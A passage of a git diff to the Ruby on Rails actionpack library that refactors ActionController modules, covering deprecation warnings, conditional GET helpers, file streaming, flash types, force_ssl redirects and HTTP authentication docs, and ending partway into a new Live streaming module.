@@ -79,6 +90,11 @@ module ActionController #:nodoc:
           end
 
         private
+          def clean_up
+            # Clean up, so that the controller can be collected after this request
+            self.controller = nil
+          end
+
           def callback(timing)
             controller_callback_method_name = "#{timing}_#{controller.controller_name.underscore}"
             action_callback_method_name     = "#{controller_callback_method_name}_#{controller.action_name}"
@@ -88,7 +104,7 @@ module ActionController #:nodoc:
           end
 
           def method_missing(method, *arguments, &block)
-            return unless @controller
+            return super unless @controller
             @controller.__send__(method, *arguments, &block)
           end
       end
diff --git a/actionpack/lib/action_controller/deprecated.rb b/actionpack/lib/action_controller/deprecated.rb
index aa0cfc9395..2405bebb97 100644
--- a/actionpack/lib/action_controller/deprecated.rb
+++ b/actionpack/lib/action_controller/deprecated.rb
@@ -1,3 +1,7 @@
 ActionController::AbstractRequest = ActionController::Request = ActionDispatch::Request
 ActionController::AbstractResponse = ActionController::Response = ActionDispatch::Response
-ActionController::Routing = ActionDispatch::Routing
\ No newline at end of file
+ActionController::Routing = ActionDispatch::Routing
+
+ActiveSupport::Deprecation.warn 'ActionController::AbstractRequest and ActionController::Request are deprecated and will be removed, use ActionDispatch::Request instead.'
+ActiveSupport::Deprecation.warn 'ActionController::AbstractResponse and ActionController::Response are deprecated and will be removed, use ActionDispatch::Response instead.'
+ActiveSupport::Deprecation.warn 'ActionController::Routing is deprecated and will be removed, use ActionDispatch::Routing instead.'
\ No newline at end of file
diff --git a/actionpack/lib/action_controller/deprecated/integration_test.rb b/actionpack/lib/action_controller/deprecated/integration_test.rb
index 86336b6bc4..54eae48f47 100644
--- a/actionpack/lib/action_controller/deprecated/integration_test.rb
+++ b/actionpack/lib/action_controller/deprecated/integration_test.rb
@@ -1,2 +1,5 @@
 ActionController::Integration = ActionDispatch::Integration
 ActionController::IntegrationTest = ActionDispatch::IntegrationTest
+
+ActiveSupport::Deprecation.warn 'ActionController::Integration is deprecated and will be removed, use ActionDispatch::Integration instead.'
+ActiveSupport::Deprecation.warn 'ActionController::IntegrationTest is deprecated and will be removed, use ActionDispatch::IntegrationTest instead.'
diff --git a/actionpack/lib/action_controller/deprecated/performance_test.rb b/actionpack/lib/action_controller/deprecated/performance_test.rb
index fcf47d31a7..c7ba5a2fe7 100644
--- a/actionpack/lib/action_controller/deprecated/performance_test.rb
+++ b/actionpack/lib/action_controller/deprecated/performance_test.rb
@@ -1 +1,3 @@
 ActionController::PerformanceTest = ActionDispatch::PerformanceTest
+
+ActiveSupport::Deprecation.warn 'ActionController::PerformanceTest is deprecated and will be removed, use ActionDispatch::PerformanceTest instead.'
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 35e29398e6..a7c0e971e7 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActionController
   class LogSubscriber < ActiveSupport::LogSubscriber
@@ -20,19 +19,20 @@ module ActionController
 
       status = payload[:status]
       if status.nil? && payload[:exception].present?
-        status = Rack::Utils.status_code(ActionDispatch::ShowExceptions.rescue_responses[payload[:exception].first]) rescue nil
+        status = ActionDispatch::ExceptionWrapper.new({}, payload[:exception]).status_code
       end
       message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in %.0fms" % event.duration
       message << " (#{additions.join(" | ")})" unless additions.blank?
-      message << "\n"
 
       info(message)
     end
 
+    def halted_callback(event)
+      info "Filter chain halted as #{event.payload[:filter]} rendered or redirected"
+    end
+
     def send_file(event)
-      message = "Sent file %s"
-      message << " (%.1fms)"
-      info(message % [event.payload[:path], event.duration])
+      info("Sent file %s (%.1fms)" % [event.payload[:path], event.duration])
     end
 
     def redirect_to(event)
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index 0133b2ecbc..b38f990efa 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/blank'
 require 'action_dispatch/middleware/stack'
 
 module ActionController
@@ -181,9 +179,13 @@ module ActionController
       @_status = Rack::Utils.status_code(status)
     end
 
-    def response_body=(val)
-      body = val.nil? ? nil : (val.respond_to?(:each) ? val : [val])
-      super body
+    def response_body=(body)
+      body = [body] unless body.nil? || body.respond_to?(:each)
+      super
+    end
+
+    def performed?
+      response_body || (response && response.committed?)
     end
 
     def dispatch(name, request) #:nodoc:
diff --git a/actionpack/lib/action_controller/metal/compatibility.rb b/actionpack/lib/action_controller/metal/compatibility.rb
deleted file mode 100644
index 05dca445a4..0000000000
--- a/actionpack/lib/action_controller/metal/compatibility.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-module ActionController
-  module Compatibility
-    extend ActiveSupport::Concern
-
-    class ::ActionController::ActionControllerError < StandardError #:nodoc:
-    end
-
-    # Temporary hax
-    included do
-      ::ActionController::UnknownAction = ::AbstractController::ActionNotFound
-      ::ActionController::DoubleRenderError = ::AbstractController::DoubleRenderError
-
-      # ROUTES TODO: This should be handled by a middleware and route generation
-      # should be able to handle SCRIPT_NAME
-      self.config.relative_url_root = ENV['RAILS_RELATIVE_URL_ROOT']
-
-      class << self
-        delegate :default_charset=, :to => "ActionDispatch::Response"
-      end
-
-      self.protected_instance_variables = %w(
-        @_status @_headers @_params @_env @_response @_request
-        @_view_runtime @_stream @_url_options @_action_has_layout
-      )
-
-      def rescue_action(env)
-        raise env["action_dispatch.rescue.exception"]
-      end
-    end
-
-    # For old tests
-    def initialize_template_class(*) end
-    def assign_shortcuts(*) end
-
-    def _normalize_options(options)
-      options[:text] = nil if options.delete(:nothing) == true
-      options[:text] = " " if options.key?(:text) && options[:text].nil?
-      super
-    end
-
-    def render_to_body(options)
-      options[:template].sub!(/^\//, '') if options.key?(:template)
-      super || " "
-    end
-
-    def _handle_method_missing
-      method_missing(@_action_name.to_sym)
-    end
-
-    def method_for_action(action_name)
-      super || (respond_to?(:method_missing) && "_handle_method_missing")
-    end
-
-    def performed?
-      response_body
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
index a5e37172c9..2193dde667 100644
--- a/actionpack/lib/action_controller/metal/conditional_get.rb
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -23,8 +23,27 @@ module ActionController
     # This will render the show template if the request isn't sending a matching etag or
     # If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
     #
-    def fresh_when(options)
-      options.assert_valid_keys(:etag, :last_modified, :public)
+    # You can also just pass a record where last_modified will be set by calling updated_at and the etag by passing the object itself. Example:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #     fresh_when(@article)
+    #   end
+    #
+    # When passing a record, you can still set whether the public header:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #     fresh_when(@article, :public => true)
+    #   end
+    def fresh_when(record_or_options, additional_options = {})
+      if record_or_options.is_a? Hash
+        options = record_or_options
+        options.assert_valid_keys(:etag, :last_modified, :public)
+      else
+        record  = record_or_options
+        options = { :etag => record, :last_modified => record.try(:updated_at) }.merge(additional_options)
+      end
 
       response.etag          = options[:etag]          if options[:etag]
       response.last_modified = options[:last_modified] if options[:last_modified]
@@ -55,26 +74,58 @@ module ActionController
     #       end
     #     end
     #   end
-    def stale?(options)
-      fresh_when(options)
+    #
+    # You can also just pass a record where last_modified will be set by calling updated_at and the etag by passing the object itself. Example:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #
+    #     if stale?(@article)
+    #       @statistics = @article.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # When passing a record, you can still set whether the public header:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #
+    #     if stale?(@article, :public => true)
+    #       @statistics = @article.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    def stale?(record_or_options, additional_options = {})
+      fresh_when(record_or_options, additional_options)
       !request.fresh?(response)
     end
 
     # Sets a HTTP 1.1 Cache-Control header. Defaults to issuing a <tt>private</tt> instruction, so that
     # intermediate caches must not cache the response.
     #
-    # Examples:
     #   expires_in 20.minutes
     #   expires_in 3.hours, :public => true
-    #   expires_in 3.hours, 'max-stale' => 5.hours, :public => true
+    #   expires_in 3.hours, :public => true, :must_revalidate => true
     #
     # This method will overwrite an existing Cache-Control header.
     # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
+    #
+    # The method will also ensure a HTTP Date header for client compatibility.
     def expires_in(seconds, options = {}) #:doc:
-      response.cache_control.merge!(:max_age => seconds, :public => options.delete(:public))
+      response.cache_control.merge!(
+        :max_age         => seconds,
+        :public          => options.delete(:public),
+        :must_revalidate => options.delete(:must_revalidate)
+      )
       options.delete(:private)
 
       response.cache_control[:extras] = options.map {|k,v| "#{k}=#{v}"}
+      response.date = Time.now unless response.date?
     end
 
     # Sets a HTTP 1.1 Cache-Control header of <tt>no-cache</tt> so no caching should occur by the browser or
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 0670a58d97..5422cb93c4 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/file/path'
 require 'action_controller/metal/exceptions'
 
 module ActionController #:nodoc:
@@ -9,15 +8,13 @@ module ActionController #:nodoc:
 
     include ActionController::Rendering
 
-    DEFAULT_SEND_FILE_OPTIONS = {
-      :type         => 'application/octet-stream'.freeze,
-      :disposition  => 'attachment'.freeze,
-    }.freeze
+    DEFAULT_SEND_FILE_TYPE        = 'application/octet-stream'.freeze #:nodoc:
+    DEFAULT_SEND_FILE_DISPOSITION = 'attachment'.freeze #:nodoc:
 
     protected
       # Sends the file. This uses a server-appropriate method (such as X-Sendfile)
       # via the Rack::Sendfile middleware. The header to use is set via
-      # config.action_dispatch.x_sendfile_header.
+      # +config.action_dispatch.x_sendfile_header+.
       # Your server can also configure this for you by setting the X-Sendfile-Type header.
       #
       # Be careful to sanitize the path parameter if it is coming from a web
@@ -75,7 +72,27 @@ module ActionController #:nodoc:
 
         self.status = options[:status] || 200
         self.content_type = options[:content_type] if options.key?(:content_type)
-        self.response_body = File.open(path, "rb")
+        self.response_body = FileBody.new(path)
+      end
+
+      # Avoid having to pass an open file handle as the response body.
+      # Rack::Sendfile will usually intercept the response and uses
+      # the path directly, so there is no reason to open the file.
+      class FileBody #:nodoc:
+        attr_reader :to_path
+
+        def initialize(path)
+          @to_path = path
+        end
+
+        # Stream the file's contents if Rack::Sendfile isn't present.
+        def each
+          File.open(to_path, 'rb') do |file|
+            while chunk = file.read(16384)
+              yield chunk
+            end
+          end
+        end
       end
 
       # Sends the given binary data to the browser. This method is similar to
@@ -108,23 +125,16 @@ module ActionController #:nodoc:
       #
       # See +send_file+ for more information on HTTP Content-* headers and caching.
       def send_data(data, options = {}) #:doc:
-        send_file_headers! options.dup
+        send_file_headers! options
         render options.slice(:status, :content_type).merge(:text => data)
       end
 
     private
       def send_file_headers!(options)
         type_provided = options.has_key?(:type)
-        
-        options.update(DEFAULT_SEND_FILE_OPTIONS.merge(options))
-        [:type, :disposition].each do |arg|
-          raise ArgumentError, ":#{arg} option required" if options[arg].nil?
-        end
 
-        disposition = options[:disposition]
-        disposition += %(; filename="#{options[:filename]}") if options[:filename]
-
-        content_type = options[:type]
+        content_type = options.fetch(:type, DEFAULT_SEND_FILE_TYPE)
+        raise ArgumentError, ":type option required" if content_type.nil?
 
         if content_type.is_a?(Symbol)
           extension = Mime[content_type]
@@ -133,15 +143,18 @@ module ActionController #:nodoc:
         else
           if !type_provided && options[:filename]
             # If type wasn't provided, try guessing from file extension.
-            content_type = Mime::Type.lookup_by_extension(File.extname(options[:filename]).downcase.tr('.','')) || content_type
+            content_type = Mime::Type.lookup_by_extension(File.extname(options[:filename]).downcase.delete('.')) || content_type
           end
           self.content_type = content_type
         end
 
-        headers.merge!(
-          'Content-Disposition'       => disposition,
-          'Content-Transfer-Encoding' => 'binary'
-        )
+        disposition = options.fetch(:disposition, DEFAULT_SEND_FILE_DISPOSITION)
+        unless disposition.nil?
+          disposition += %(; filename="#{options[:filename]}") if options[:filename]
+          headers['Content-Disposition'] = disposition
+        end
+
+        headers['Content-Transfer-Encoding'] = 'binary'
 
         response.sending_file = true
 
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
index 07024d0a9a..8fd8f4797c 100644
--- a/actionpack/lib/action_controller/metal/exceptions.rb
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -2,6 +2,9 @@ module ActionController
   class ActionControllerError < StandardError #:nodoc:
   end
 
+  class BadRequest < ActionControllerError #:nodoc:
+  end
+
   class RenderError < ActionControllerError #:nodoc:
   end
 
@@ -14,8 +17,6 @@ module ActionController
   end
 
   class MethodNotAllowed < ActionControllerError #:nodoc:
-    attr_reader :allowed_methods
-
     def initialize(*allowed_methods)
       super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
     end
@@ -30,9 +31,6 @@ module ActionController
   class MissingFile < ActionControllerError #:nodoc:
   end
 
-  class RenderError < ActionControllerError #:nodoc:
-  end
-
   class SessionOverflowError < ActionControllerError #:nodoc:
     DEFAULT_MESSAGE = 'Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data.'
 
@@ -43,4 +41,7 @@ module ActionController
 
   class UnknownHttpMethod < ActionControllerError #:nodoc:
   end
-end
\ No newline at end of file
+
+  class UnknownFormat < ActionControllerError #:nodoc:
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index bd768b634e..b078beb675 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -3,19 +3,34 @@ module ActionController #:nodoc:
     extend ActiveSupport::Concern
 
     included do
-      delegate :flash, :to => :request
-      delegate :alert, :notice, :to => "request.flash"
-      helper_method :alert, :notice
+      class_attribute :_flash_types, instance_accessor: false
+      self._flash_types = []
+
+      delegate :flash, to: :request
+      add_flash_types(:alert, :notice)
     end
 
-    protected
-      def redirect_to(options = {}, response_status_and_flash = {}) #:doc:
-        if alert = response_status_and_flash.delete(:alert)
-          flash[:alert] = alert
+    module ClassMethods
+      def add_flash_types(*types)
+        types.each do |type|
+          next if _flash_types.include?(type)
+
+          define_method(type) do
+            request.flash[type]
+          end
+          helper_method type
+
+          _flash_types << type
         end
+      end
+    end
 
-        if notice = response_status_and_flash.delete(:notice)
-          flash[:notice] = notice
+    protected
+      def redirect_to(options = {}, response_status_and_flash = {}) #:doc:
+        self.class._flash_types.each do |flash_type|
+          if type = response_status_and_flash.delete(flash_type)
+            flash[flash_type] = type
+          end
         end
 
         if other_flashes = response_status_and_flash.delete(:flash)
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index 0fd42f9d8a..e905a3cf1d 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -18,21 +18,45 @@ module ActionController
       # Force the request to this particular controller or specified actions to be
       # under HTTPS protocol.
       #
-      # Note that this method will not be effective on development environment.
+      # If you need to disable this for any reason (e.g. development) then you can use
+      # an +:if+ or +:unless+ condition.
+      #
+      #     class AccountsController < ApplicationController
+      #       force_ssl :if => :ssl_configured?
+      #
+      #       def ssl_configured?
+      #         !Rails.env.development?
+      #       end
+      #     end
       #
       # ==== Options
+      # * <tt>host</tt>   - Redirect to a different host name
       # * <tt>only</tt>   - The callback should be run only for this action
-      # * <tt>except<tt>  - The callback should be run for all actions except this action
+      # * <tt>except</tt>  - The callback should be run for all actions except this action
+      # * <tt>if</tt>     - A symbol naming an instance method or a proc; the callback
+      #                     will be called only when it returns a true value.
+      # * <tt>unless</tt> - A symbol naming an instance method or a proc; the callback
+      #                     will be called only when it returns a false value.
       def force_ssl(options = {})
         host = options.delete(:host)
         before_filter(options) do
-          if !request.ssl? && !Rails.env.development?
-            redirect_options = {:protocol => 'https://', :status => :moved_permanently}
-            redirect_options.merge!(:host => host) if host
-            redirect_to redirect_options
-          end
+          force_ssl_redirect(host)
         end
       end
     end
+
+    # Redirect the existing request to use the HTTPS protocol.
+    #
+    # ==== Parameters
+    # * <tt>host</tt> - Redirect to a different host name
+    def force_ssl_redirect(host = nil)
+      unless request.ssl?
+        redirect_options = {:protocol => 'https://', :status => :moved_permanently}
+        redirect_options.merge!(:host => host) if host
+        redirect_options.merge!(:params => request.query_parameters)
+        flash.keep if respond_to?(:flash)
+        redirect_to redirect_options
+      end
+    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index a618533d09..747e1273be 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -20,6 +20,7 @@ module ActionController
       options, status = status, nil if status.is_a?(Hash)
       status ||= options.delete(:status) || :ok
       location = options.delete(:location)
+      content_type = options.delete(:content_type)
 
       options.each do |key, value|
         headers[key.to_s.dasherize.split('-').each { |v| v[0] = v[0].chr.upcase }.join('-')] = value.to_s
@@ -27,8 +28,28 @@ module ActionController
 
       self.status = status
       self.location = url_for(location) if location
-      self.content_type = Mime[formats.first] if formats
-      self.response_body = " "
+
+      if include_content?(self.status)
+        self.content_type = content_type || (Mime[formats.first] if formats)
+        self.response_body = " "
+      else
+        headers.delete('Content-Type')
+        headers.delete('Content-Length')
+        self.response_body = ""
+      end
+    end
+
+    private
+    # :nodoc:
+    def include_content?(status)
+      case status
+      when 100..199
+        false
+      when 204, 205, 304
+        false
+      else
+        true
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index bd515bba82..d2cbbd3330 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/class/attribute'
 
 module ActionController
   # The \Rails framework provides a large number of helpers for working with assets, dates, forms,
@@ -17,7 +15,6 @@ module ActionController
   # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any
   # controller which inherits from it.
   #
-  # ==== Examples
   # The +to_s+ method from the \Time class can be wrapped in a helper method to display a custom message if
   # a \Time object is blank:
   #
@@ -53,10 +50,11 @@ module ActionController
   module Helpers
     extend ActiveSupport::Concern
 
+    class << self; attr_accessor :helpers_path; end
     include AbstractController::Helpers
 
     included do
-      config_accessor :helpers_path, :include_all_helpers
+      class_attribute :helpers_path, :include_all_helpers
       self.helpers_path ||= []
       self.include_all_helpers = true
     end
@@ -94,11 +92,11 @@ module ActionController
 
       def all_helpers_from_path(path)
         helpers = []
-        Array.wrap(path).each do |_path|
+        Array(path).each do |_path|
           extract  = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
-          helpers += Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1') }
+          names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1') }
+          helpers += names.sort
         end
-        helpers.sort!
         helpers.uniq!
         helpers
       end
diff --git a/actionpack/lib/action_controller/metal/hide_actions.rb b/actionpack/lib/action_controller/metal/hide_actions.rb
index b55c4643be..420b22cf56 100644
--- a/actionpack/lib/action_controller/metal/hide_actions.rb
+++ b/actionpack/lib/action_controller/metal/hide_actions.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/class/attribute'
 
 module ActionController
   # Adds the ability to prevent public methods on a controller to be called as actions.
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 264806cd36..03b8d8db1a 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -1,9 +1,9 @@
-require 'active_support/base64'
-require 'active_support/core_ext/object/blank'
+require 'base64'
 
 module ActionController
+  # Makes it dead easy to do HTTP Basic, Digest and Token authentication.
   module HttpAuthentication
-    # Makes it dead easy to do HTTP \Basic and \Digest authentication.
+    # Makes it dead easy to do HTTP \Basic authentication.
     #
     # === Simple \Basic example
     #
@@ -60,47 +60,6 @@ module ActionController
     #
     #     assert_equal 200, status
     #   end
-    #
-    # === Simple \Digest example
-    #
-    #   require 'digest/md5'
-    #   class PostsController < ApplicationController
-    #     REALM = "SuperSecret"
-    #     USERS = {"dhh" => "secret", #plain text password
-    #              "dap" => Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))  #ha1 digest password
-    #
-    #     before_filter :authenticate, :except => [:index]
-    #
-    #     def index
-    #       render :text => "Everyone can see me!"
-    #     end
-    #
-    #     def edit
-    #       render :text => "I'm only accessible if you know the password"
-    #     end
-    #
-    #     private
-    #       def authenticate
-    #         authenticate_or_request_with_http_digest(REALM) do |username|
-    #           USERS[username]
-    #         end
-    #       end
-    #   end
-    #
-    # === Notes
-    #
-    # The +authenticate_or_request_with_http_digest+ block must return the user's password
-    # or the ha1 digest hash so the framework can appropriately hash to check the user's
-    # credentials. Returning +nil+ will cause authentication to fail.
-    #
-    # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
-    # the password file or database is compromised, the attacker would be able to use the ha1 hash to
-    # authenticate as the user at this +realm+, but would not have the user's password to try using at
-    # other sites.
-    #
-    # In rare instances, web servers or front proxies strip authorization headers before
-    # they reach your application. You can debug this situation by logging all environment
-    # variables, and check for HTTP_AUTHORIZATION, amongst others.
     module Basic
       extend self
 
@@ -141,11 +100,11 @@ module ActionController
       end
 
       def decode_credentials(request)
-        ActiveSupport::Base64.decode64(request.authorization.split(' ', 2).last || '')
+        ::Base64.decode64(request.authorization.split(' ', 2).last || '')
       end
 
       def encode_credentials(user_name, password)
-        "Basic #{ActiveSupport::Base64.encode64s("#{user_name}:#{password}")}"
+        "Basic #{::Base64.strict_encode64("#{user_name}:#{password}")}"
       end
 
       def authentication_request(controller, realm)
@@ -155,6 +114,48 @@ module ActionController
       end
     end
 
+    # Makes it dead easy to do HTTP \Digest authentication.
+    #
+    # === Simple \Digest example
+    #
+    #   require 'digest/md5'
+    #   class PostsController < ApplicationController
+    #     REALM = "SuperSecret"
+    #     USERS = {"dhh" => "secret", #plain text password
+    #              "dap" => Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))}  #ha1 digest password
+    #
+    #     before_filter :authenticate, :except => [:index]
+    #
+    #     def index
+    #       render :text => "Everyone can see me!"
+    #     end
+    #
+    #     def edit
+    #       render :text => "I'm only accessible if you know the password"
+    #     end
+    #
+    #     private
+    #       def authenticate
+    #         authenticate_or_request_with_http_digest(REALM) do |username|
+    #           USERS[username]
+    #         end
+    #       end
+    #   end
+    #
+    # === Notes
+    #
+    # The +authenticate_or_request_with_http_digest+ block must return the user's password
+    # or the ha1 digest hash so the framework can appropriately hash to check the user's
+    # credentials. Returning +nil+ will cause authentication to fail.
+    #
+    # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+    # the password file or database is compromised, the attacker would be able to use the ha1 hash to
+    # authenticate as the user at this +realm+, but would not have the user's password to try using at
+    # other sites.
+    #
+    # In rare instances, web servers or front proxies strip authorization headers before
+    # they reach your application. You can debug this situation by logging all environment
+    # variables, and check for HTTP_AUTHORIZATION, amongst others.
     module Digest
       extend self
 
@@ -192,12 +193,15 @@ module ActionController
           return false unless password
 
           method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']
-          uri    = credentials[:uri][0,1] == '/' ? request.fullpath : request.url
+          uri    = credentials[:uri]
 
-         [true, false].any? do |password_is_ha1|
-           expected = expected_response(method, uri, credentials, password, password_is_ha1)
-           expected == credentials[:response]
-         end
+          [true, false].any? do |trailing_question_mark|
+            [true, false].any? do |password_is_ha1|
+              _uri = trailing_question_mark ? uri + "?" : uri
+              expected = expected_response(method, _uri, credentials, password, password_is_ha1)
+              expected == credentials[:response]
+            end
+          end
         end
       end
 
@@ -224,9 +228,9 @@ module ActionController
       end
 
       def decode_credentials(header)
-        Hash[header.to_s.gsub(/^Digest\s+/,'').split(',').map do |pair|
+        HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/,'').split(',').map do |pair|
           key, value = pair.split('=', 2)
-          [key.strip.to_sym, value.to_s.gsub(/^"|"$/,'').gsub(/'/, '')]
+          [key.strip, value.to_s.gsub(/^"|"$/,'').delete('\'')]
         end]
       end
 
@@ -260,7 +264,7 @@ module ActionController
       # The quality of the implementation depends on a good choice.
       # A nonce might, for example, be constructed as the base 64 encoding of
       #
-      # => time-stamp H(time-stamp ":" ETag ":" private-key)
+      #   time-stamp H(time-stamp ":" ETag ":" private-key)
       #
       # where time-stamp is a server-generated time or other non-repeating value,
       # ETag is the value of the HTTP ETag header associated with the requested entity,
@@ -276,7 +280,7 @@ module ActionController
       #
       # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
       # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
-      # POST or PUT requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
+      # POST, PUT, or PATCH requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
       # of this document.
       #
       # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
@@ -286,16 +290,16 @@ module ActionController
         t = time.to_i
         hashed = [t, secret_key]
         digest = ::Digest::MD5.hexdigest(hashed.join(":"))
-        ActiveSupport::Base64.encode64("#{t}:#{digest}").gsub("\n", '')
+        ::Base64.strict_encode64("#{t}:#{digest}")
       end
 
       # Might want a shorter timeout depending on whether the request
-      # is a PUT or POST, and if client is browser or web service.
+      # is a PATCH, PUT, or POST, and if client is browser or web service.
       # Can be much shorter if the Stale directive is implemented. This would
       # allow a user to use new nonce without prompting user again for their
       # username and password.
       def validate_nonce(secret_key, request, value, seconds_to_timeout=5*60)
-        t = ActiveSupport::Base64.decode64(value).split(":").first.to_i
+        t = ::Base64.decode64(value).split(":").first.to_i
         nonce(secret_key, t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
       end
 
@@ -367,7 +371,7 @@ module ActionController
     #   def test_access_granted_from_xml
     #     get(
     #       "/notes/1.xml", nil,
-    #       :authorization => ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
+    #       'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
     #     )
     #
     #     assert_equal 200, status
@@ -396,16 +400,20 @@ module ActionController
         end
       end
 
-      # If token Authorization header is present, call the login procedure with
-      # the present token and options.
+      # If token Authorization header is present, call the login
+      # procedure with the present token and options.
       #
-      # controller      - ActionController::Base instance for the current request.
-      # login_procedure - Proc to call if a token is present. The Proc should
-      #                   take 2 arguments:
-      #                     authenticate(controller) { |token, options| ... }
+      # [controller]
+      #   ActionController::Base instance for the current request.
       #
-      # Returns the return value of `&login_procedure` if a token is found.
-      # Returns nil if no token is found.
+      # [login_procedure]
+      #   Proc to call if a token is present. The Proc should take two arguments:
+      #
+      #     authenticate(controller) { |token, options| ... }
+      #
+      # Returns the return value of <tt>login_procedure</tt> if a
+      # token is found. Returns <tt>nil</tt> if no token is found.
+
       def authenticate(controller, &login_procedure)
         token, options = token_and_options(controller.request)
         unless token.blank?
@@ -427,10 +435,12 @@ module ActionController
           values = Hash[$1.split(',').map do |value|
             value.strip!                      # remove any spaces between commas and values
             key, value = value.split(/\=\"?/) # split key=value pairs
-            value.chomp!('"')                 # chomp trailing " in value
-            value.gsub!(/\\\"/, '"')          # unescape remaining quotes
-            [key, value]
-          end]
+            if value
+              value.chomp!('"')                 # chomp trailing " in value
+              value.gsub!(/\\\"/, '"')          # unescape remaining quotes
+              [key, value]
+            end
+          end.compact]
           [values.delete("token"), values.with_indifferent_access]
         end
       end
diff --git a/actionpack/lib/action_controller/metal/implicit_render.rb b/actionpack/lib/action_controller/metal/implicit_render.rb
index e8e465d3ba..ae04b53825 100644
--- a/actionpack/lib/action_controller/metal/implicit_render.rb
+++ b/actionpack/lib/action_controller/metal/implicit_render.rb
@@ -2,7 +2,7 @@ module ActionController
   module ImplicitRender
     def send_action(method, *args)
       ret = super
-      default_render unless response_body
+      default_render unless performed?
       ret
     end
 
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index 777a0ab343..640ebf5f00 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -64,7 +64,12 @@ module ActionController
       end
     end
 
-  protected
+  private
+
+    # A hook invoked everytime a before callback is halted.
+    def halted_callback_hook(filter)
+      ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
+    end
 
     # A hook which allows you to clean up any time taken into account in
     # views wrongly, like database querying time.
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
new file mode 100644
index 0000000000..32e5afa335
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -0,0 +1,141 @@
+require 'action_dispatch/http/response'
+require 'delegate'
+
+module ActionController
+  # Mix this module in to your controller, and all actions in that controller
+  # will be able to stream data to the client as it's written.
+  #
+  #   class MyController < ActionController::Base
+  #     include ActionController::Live
+  #
+  #     def stream
+  #       response.headers['Content-Type'] = 'text/event-stream'
+  #       100.times {
